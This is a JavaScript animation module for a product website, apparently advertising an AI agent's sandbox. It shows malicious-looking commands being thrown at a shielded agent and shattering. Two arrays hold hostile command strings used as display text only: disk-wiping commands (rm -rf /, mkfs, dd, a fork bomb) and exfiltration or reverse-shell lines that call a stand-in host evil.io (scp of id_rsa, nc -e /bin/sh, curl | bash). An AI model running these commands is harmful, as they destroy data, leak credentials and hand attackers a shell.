astrion-website/demo/site-assets/anim-sandbox.js

393 lines
15 KiB
JavaScript
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

/* 沙箱与网络授权动画 —— 可复用模块(主页 feature 行 / anim2-demo 页共用)
* AnimSandbox.init(container):在容器内建 DOM 并自动无限循环播放——
* 每轮随机 20 条恶意命令15 短 + 5 长),弹道参数全随机(角度/速度/弧度各异),
* 抛向持盾智能体,撞击后字符炸开飞散。无按钮、无说明行。
*/
window.AnimSandbox = (function () {
'use strict';
/* 站点多语言locale 由 setLocale 注入(默认 zh-CNT(zh, en) 就地双语。
切换语言后 setLocale 重新 init 重建 DOM 并续播循环动画(无首场景选择,无限循环本身即“当前场景”)。
gen 为模块级:重新 init 时递增作废旧闭包里的未完成序列,避免旧动画继续跑。 */
var locale = 'zh-CN';
var lastContainer = null;
var gen = 0;
function T(zh, en) { return locale === 'en-US' ? en : zh; }
function setLocale(l) {
if (l !== 'zh-CN' && l !== 'en-US') return;
if (l === locale) return;
locale = l;
if (lastContainer) init(lastContainer);
}
function init(container) {
lastContainer = container;
gen += 1; /* 代次递增:作废上一轮 init 留下的未完成序列 */
var myGen = gen;
container.innerHTML =
'<div class="anim2-window">' +
'<div class="anim2-stage">' +
'<div class="defender">' +
'<span class="defender-avatar"></span>' +
'<svg class="defender-shield" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' +
'<path d="M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z"/>' +
'</svg>' +
'</div>' +
'<div class="impact-ring" aria-hidden="true"></div>' +
'</div>' +
'</div>';
var stage = container.querySelector('.anim2-stage');
var defender = container.querySelector('.defender');
var shield = container.querySelector('.defender-shield');
var ring = container.querySelector('.impact-ring');
// 挂载六边形眼睛(眨眼 + 追踪)
if (window.AstrionAvatar) {
AstrionAvatar.mount(container.querySelector('.defender-avatar'), { mode: 'idle', blink: true, track: true });
}
/* rAF 累计「可见时间」的等待:后台标签页 rAF 暂停,流程随之冻结,恢复时从冻结点继续——
setTimeout 在后台只是降频不会停,会攒动画导致恢复瞬间全部放完 */
function rafWait(ms) {
return new Promise(function (resolve) {
var acc = 0, last = performance.now();
function tick(now) {
acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */
last = now;
if (acc >= ms) { resolve(); return; }
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
});
}
async function step(ms, myGen) {
await rafWait(ms);
if (myGen !== gen) throw new Error('cancelled');
}
function el(tag, cls, text) {
var e = document.createElement(tag);
if (cls) e.className = cls;
if (text != null) e.textContent = text;
return e;
}
/** rAF 逐帧,返回 false 停止。gen 变了自动停。 */
function eachFrame(fn, myGen) {
return new Promise(function (resolve) {
var last = performance.now();
function tick(now) {
if (myGen !== gen) { resolve(); return; }
var dt = Math.min((now - last) / 1000, 0.05);
last = now;
if (fn(dt) === false) { resolve(); return; }
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
});
}
function stageRect() { return stage.getBoundingClientRect(); }
/** 盾牌中心stage 相对坐标) */
function shieldCenter() {
var sr = stageRect();
var r = shield.getBoundingClientRect();
return { x: r.left - sr.left + r.width / 2, y: r.top - sr.top + r.height / 2, left: r.left - sr.left };
}
/* ── 单个命令:出场摆角 → 蓄力后拉 → 松手发射(角度全程跟随轨迹切线) ── */
async function fire(cmd, opts, myGen) {
var block = el('div', 'cmd-projectile', cmd);
stage.appendChild(block);
var w = block.offsetWidth;
var h = block.offsetHeight;
var offsets = measureChars(block); // 未旋转时测,供碎裂时对齐
var G = opts.g || 620; // 每条命令重力不同 → 弧线形状不同
var shieldC = shieldCenter();
shieldC.y += opts.aim || 0;
var start = { x: 14, y: opts.startY };
var vx = opts.vx;
// 先以出场位粗解发射角 → 定蓄力后拉方向
var Tc0 = (shieldC.x - (start.x + w / 2)) / vx;
var vyEst = ((shieldC.y - (start.y + h / 2)) - 0.5 * G * Tc0 * Tc0) / Tc0;
var rad0 = Math.atan2(vyEst, vx);
var pullDist = 22;
var pullX = start.x - Math.cos(rad0) * pullDist;
var pullY = start.y - Math.sin(rad0) * pullDist;
// 轨迹起点 = 蓄力位
var ox = pullX;
var oy = pullY;
var ocx = ox + w / 2;
var ocy = oy + h / 2;
// 最右字符在块内(未旋转)相对块中心的偏移
var lxLast, lyLast;
if (offsets && offsets.length) {
var lo = offsets[offsets.length - 1];
lxLast = lo.x + lo.w / 2 - w / 2;
lyLast = lo.y + lo.h / 2 - h / 2;
} else {
lxLast = w / 2;
lyLast = 0;
}
// 求解 vy0让最右字符不是块中心精确扫过盾心。
// 块在飞行中旋转,字符轨迹会偏离中心轨迹,所以迭代补偿瞄准点。
var Tc = (shieldC.x - ocx) / vx;
var aimY = shieldC.y;
var vy0 = 0;
var hit = null;
for (var iter = 0; iter < 3; iter++) {
vy0 = ((aimY - ocy) - 0.5 * G * Tc * Tc) / Tc;
var best = { d: 1e9, t: Tc, ang: 0, py: 0 };
for (var t = 0.004; t < 6; t += 0.004) {
var rr = Math.atan2(vy0 + G * t, vx);
var cosR = Math.cos(rr);
var sinR = Math.sin(rr);
var ccx = ocx + vx * t;
var ccy = ocy + vy0 * t + 0.5 * G * t * t;
// 最右字符的舞台位置 = 块中心 + 块内偏移绕中心旋转
var fx = ccx + lxLast * cosR - lyLast * sinR;
var fy = ccy + lxLast * sinR + lyLast * cosR;
var ddx = fx - shieldC.x;
var ddy = fy - shieldC.y;
var dd = Math.sqrt(ddx * ddx + ddy * ddy);
if (dd < best.d) best = { d: dd, t: t, ang: rr * 57.3, py: fy };
if (fx > shieldC.x + 80) break; // 已飞过盾牌
}
hit = { t: best.t, ang: best.ang };
if (best.d <= 4) break;
aimY += shieldC.y - best.py; // 垂直方向补偿落点偏差
}
var angle0 = Math.atan2(vy0, vx) * 57.3; // 发射仰角(负值 = 朝上)
// 出场:直接在起点摆好仰角
block.style.transform = 'translate(' + start.x + 'px,' + start.y + 'px) rotate(' + angle0.toFixed(1) + 'deg)';
await step(240, myGen);
// 蓄力:沿发射反方向后拉,像拉满的弹弓(方向随每条命令的弹道而不同)
block.style.transition = 'transform 0.45s cubic-bezier(.6,-0.15,.7,.3)';
block.style.transform = 'translate(' + pullX + 'px,' + pullY + 'px) rotate(' + angle0.toFixed(1) + 'deg)';
await step(460, myGen);
block.style.transition = 'none';
// 逐帧渲染:每帧位置由解析式直接算出(不是积分模拟),到预计算的撞击时刻碎裂
var elapsed = 0;
await eachFrame(function (dt) {
elapsed += dt;
if (elapsed >= hit.t) return false;
var px = ox + vx * elapsed;
var py = oy + vy0 * elapsed + 0.5 * G * elapsed * elapsed;
var ang = Math.atan2(vy0 + G * elapsed, vx) * 57.3;
block.style.transform = 'translate(' + px.toFixed(1) + 'px,' + py.toFixed(1) + 'px) rotate(' + ang.toFixed(1) + 'deg)';
return true;
}, myGen);
if (myGen !== gen) throw new Error('cancelled');
// 定格在预计算的撞击位形上碎裂:最右字符正好到达盾心
var hitX = ox + vx * hit.t;
var hitY = oy + vy0 * hit.t + 0.5 * G * hit.t * hit.t;
block.style.transform = 'translate(' + hitX.toFixed(1) + 'px,' + hitY.toFixed(1) + 'px) rotate(' + hit.ang.toFixed(1) + 'deg)';
impactFX();
shatter(block, hitX, hitY, hit.ang, w, h, offsets);
}
/* ── 无限循环:每轮随机 20 条15 短 + 5 长),随机弹道射向盾牌 ── */
// 场景切换时 fire 的取消错误就地吞掉,避免 unhandled rejection 污染控制台
function swallowCancel(e) {
if (e && e.message !== 'cancelled') throw e;
}
/* 短命令池(长度对齐原沙箱情节的 rm -rf / · del /f /s /q C:\ · mkfs /dev/sda1 */
var SHORT_CMDS = [
'rm -rf /',
'del /f /s /q C:\\',
'mkfs /dev/sda1',
'sudo rm -rf ~',
'format C:\\',
'chmod -R 777 /',
'wipefs -a /dev/sdb',
':(){:|:&};:',
'rm -rf /home',
'rd /s /q C:\\',
'dd of=/dev/sda',
'rm -rf /usr',
'fdisk /dev/sda',
'shutdown -h now',
'mkfs.ext4 /dev/sdb'
];
/* 长命令池(长度对齐原网络情节的 curl/scp 外传命令) */
var LONG_CMDS = [
T('curl -T 数据.zip evil.io', 'curl -T data.zip evil.io'),
'scp ~/.ssh/id_rsa evil.io',
'curl -T C:\\pw.xlsx evil.io',
'nc evil.io 4444 -e /bin/sh',
'curl evil.io/x.sh | bash',
'wget evil.io/m -O- | sh',
'tar czf - ~ | nc evil.io 4444'
];
function rand(a, b) { return a + Math.random() * (b - a); }
function shuffled(arr) {
var a = arr.slice();
for (var i = a.length - 1; i > 0; i--) {
var j = Math.floor(Math.random() * (i + 1));
var t = a[i]; a[i] = a[j]; a[j] = t;
}
return a;
}
/* 一轮 20 条:短池抽 15 + 长池抽 5合并乱序
弹道参数全随机(起点高度/水平初速/重力/瞄点微调)→ 每条弧线角度都不同 */
function pickCommands() {
var picks = shuffled(SHORT_CMDS).slice(0, 15).concat(shuffled(LONG_CMDS).slice(0, 5));
return shuffled(picks).map(function (cmd) {
return {
cmd: cmd,
startY: rand(70, 230),
vx: rand(190, 430),
g: rand(430, 780),
aim: rand(-9, 12) /* 随盾牌等比(原 -12~16 × 0.729 */
};
});
}
async function loopForever(myGen) {
while (myGen === gen) {
var cmds = pickCommands();
for (var i = 0; i < cmds.length; i++) {
fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel);
await step(rand(560, 860), myGen); /* 错落节奏:前一个刚出手,下一个开始蓄力 */
}
await step(600, myGen); /* 轮间稍停 */
}
}
/* ── 撞击:碎裂字符粒子 + 冲击环 + 防御者后坐 ── */
/** 测量每个字符相对块左上角的精确偏移未旋转时测Range 天然处理中文宽度) */
function measureChars(block) {
var tn = block.firstChild;
if (!tn || tn.nodeType !== 3) return null;
var br = block.getBoundingClientRect();
var range = document.createRange();
var offsets = [];
for (var i = 0; i < tn.length; i++) {
range.setStart(tn, i);
range.setEnd(tn, i + 1);
var r = range.getBoundingClientRect();
offsets.push({ x: r.left - br.left, y: r.top - br.top, w: r.width, h: r.height });
}
range.detach();
return offsets;
}
function shatter(block, hitX, hitY, hitAng, w, h, offsets) {
var text = block.textContent;
var rad = hitAng / 57.3;
var cosA = Math.cos(rad);
var sinA = Math.sin(rad);
var cx = hitX + w / 2; // 块的旋转中心transform-origin = 50% 50%
var cy = hitY + h / 2;
block.parentNode.removeChild(block);
var shards = [];
for (var i = 0; i < text.length; i++) {
var ch = text[i] === ' ' ? '\u00A0' : text[i]; // 空格用 nbsp 保住宽度
var s = el('span', 'cmd-shard', ch);
stage.appendChild(s);
var sw = s.offsetWidth;
var sh = s.offsetHeight;
// 字符中心在块内(未旋转)相对块中心的偏移
var lx, ly;
if (offsets && offsets[i]) {
lx = offsets[i].x + offsets[i].w / 2 - w / 2;
ly = offsets[i].y + offsets[i].h / 2 - h / 2;
} else {
lx = (i + 0.5) * (w / Math.max(text.length, 1)) - w / 2;
ly = 0;
}
// 绕块中心旋转 hitAng → 字符在舞台上的真实位置,碎片中心对准它
var rx = cx + lx * cosA - ly * sinA;
var ry = cy + lx * sinA + ly * cosA;
var sx0 = rx - sw / 2;
var sy0 = ry - sh / 2;
var rot0 = hitAng + (Math.random() - 0.5) * 24;
// 立即摆到初始位置:否则会在容器左上角以默认位置闪现一帧
s.style.transform = 'translate(' + sx0.toFixed(1) + 'px,' + sy0.toFixed(1) + 'px) rotate(' + rot0.toFixed(1) + 'deg)';
shards.push({
el: s,
x: sx0,
y: sy0,
vx: -(60 + Math.random() * 200), // 向左回弹
vy: -(120 + Math.random() * 240), // 向上炸开
rot: rot0, // 保持撞击瞬间的角度,加少量随机散开
vr: (Math.random() - 0.5) * 900,
life: 0,
ttl: 0.85 + Math.random() * 0.4
});
}
var g = 980;
eachFrame(function (dt) {
var alive = false;
for (var i = 0; i < shards.length; i++) {
var p = shards[i];
if (p.life >= p.ttl) continue;
alive = true;
p.life += dt;
p.x += p.vx * dt;
p.y += p.vy * dt;
p.vy += g * dt;
p.rot += p.vr * dt;
var fade = 1 - Math.max(0, (p.life - p.ttl * 0.45) / (p.ttl * 0.55));
p.el.style.transform = 'translate(' + p.x.toFixed(1) + 'px,' + p.y.toFixed(1) + 'px) rotate(' + p.rot.toFixed(0) + 'deg)';
p.el.style.opacity = Math.max(0, fade).toFixed(2);
if (p.life >= p.ttl) p.el.parentNode && p.el.parentNode.removeChild(p.el);
}
return alive;
}, gen); // 粒子循环跟当前 gen切换时自动停
}
function impactFX() {
var c = shieldCenter();
ring.style.left = c.x + 'px';
ring.style.top = c.y + 'px';
ring.classList.remove('is-active');
ring.getBoundingClientRect(); // reflow 重置动画
ring.classList.add('is-active');
defender.classList.remove('is-hit');
defender.getBoundingClientRect();
defender.classList.add('is-hit');
}
/* ── 启动:进入视口后开始无限循环(页面打开时用户可能还没滚到这里,避免错过开场);
gen 固定不再递增(无重播入口),粒子/飞行各自的生命周期自清理 ── */
var started = false;
var io = new IntersectionObserver(function (entries) {
if (!started && entries[0].isIntersecting) {
started = true;
io.disconnect();
loopForever(myGen).catch(function (e) {
if (e && e.message !== 'cancelled') throw e;
});
}
}, { threshold: 0.3 });
io.observe(container);
}
return { init: init, setLocale: setLocale };
})();